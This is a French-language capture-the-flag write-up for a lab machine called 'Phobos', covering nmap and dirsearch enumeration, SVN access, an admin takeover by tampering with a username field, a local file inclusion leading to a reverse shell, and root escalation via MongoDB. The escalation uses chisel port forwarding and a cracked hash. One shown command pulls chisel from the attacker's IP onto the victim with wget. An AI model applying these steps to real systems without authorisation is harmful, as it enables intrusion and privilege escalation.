Phobos

svn enumération lfi os inclusion mongoDB

  • Nom machine : Phobos

  • Difficulté : Difficile

  • OS : Linux

Enumération

NMAP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-16 05:53 EDT
Nmap scan report for 192.168.184.131
Host is up (0.033s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://192.168.184.131/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js
HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/reports/http_192.168.184.131/__24-08-16_05-54-17.txt

Target: http://192.168.184.131/

[05:54:17] Starting: 
[05:54:19] 403 -  280B  - /.ht_wsr.txt
[05:54:19] 403 -  280B  - /.htaccess_sc
[05:54:19] 403 -  280B  - /.htaccess.bak1
[05:54:19] 403 -  280B  - /.htaccess.save
[05:54:19] 403 -  280B  - /.htaccessOLD
[05:54:19] 403 -  280B  - /.htaccessBAK
[05:54:19] 403 -  280B  - /.htaccess.orig
[05:54:19] 403 -  280B  - /.htaccessOLD2
[05:54:19] 403 -  280B  - /.htaccess.sample
[05:54:19] 403 -  280B  - /.htm
[05:54:19] 403 -  280B  - /.htaccess_orig
[05:54:19] 403 -  280B  - /.htaccess_extra
[05:54:19] 403 -  280B  - /.html
[05:54:19] 403 -  280B  - /.htpasswds
[05:54:19] 403 -  280B  - /.htpasswd_test
[05:54:19] 403 -  280B  - /.httr-oauth
[05:54:33] 301 -  321B  - /internal  ->  http://192.168.184.131/internal/
[05:54:42] 403 -  280B  - /server-status/
[05:54:42] 403 -  280B  - /server-status
[05:54:44] 401 -  462B  - /svn
[05:54:44] 401 -  462B  - /svn/

Nous continuons d'énumérer la page...

Pas mal de choses intéressantes à fouiller

db.sqlite3

Nous obtenons une possible liste d'user ainsi qu'un nom de domaine (à mettre dans /etc/hosts).

Nous avons également des hash. Après recherche internet ils sont spécifiques à Django. Nous n'avons pas réussi à les cracker.

Nous trouvons également hackzzdogs

Finalement cette partie semble être un rabbit hole...

/internal/users/templates

Nous avons regardé chaque fichier html. Aucun ne semble véritablement intéressant. Nous allons lancer un autre scan de dossier avec une autre liste.

Svn

Nous allons nous pencher plus sérieusement du côté de svn. En continuant d'énumérer nous sommes tomber sur /dev.

Nous pouvons tenter avec http

Il fonctionne !

Nous avons trouvé un sous-domaine. Nous l'ajoutons au fichier /etc/hosts.

Nous allons encore une fois énumérer la page...

Nous allons visiter cette page web maintenant que nous sommes connectés

Accès initial

Sur la page my account, nous allons voir s'il y a d'autres paramètres en plus des trois champs demandés. Et oui ! Il y a "username". Nous allons voir ce qu'il se passe si on le remplace par "admin".

Nous pouvons nous connecter en tant qu'admin.

La page pour soumettre un document word ou un pdf est bien différente.

Nous allons capturer la requête avec Burp Suite afin de voir quels paramètres sont pris en compte ; "file" semble intéressant nous allons tester une lfi.

Nous allons faire la même chose du côté de delete afin de générer un reverse shell.

Pour le port choisi, nous avons lu le fichier /etc/ufw/user.rules.

Elévation des privilèges

Des ports différents sont ouverts localement. Après recherche, on découvre que le port 27017 est le port de MongoDB

Nous allons effectuer une redirection de port avec chisel.

Dans un premier temps nous allons le télécharger sur la cible :

  • kali : python -m http.server 6000

  • victime : www-data@ubuntu:/tmp$ wget http://192.168.45.192:6000/Tools/chisel

Ensuite nous pouvons exécuter :

Nous allons essayer crackstation

Bingo ! On va tester pour l'user root... Bien le premier ! Donc bien celui de l'user root.

Mis à jour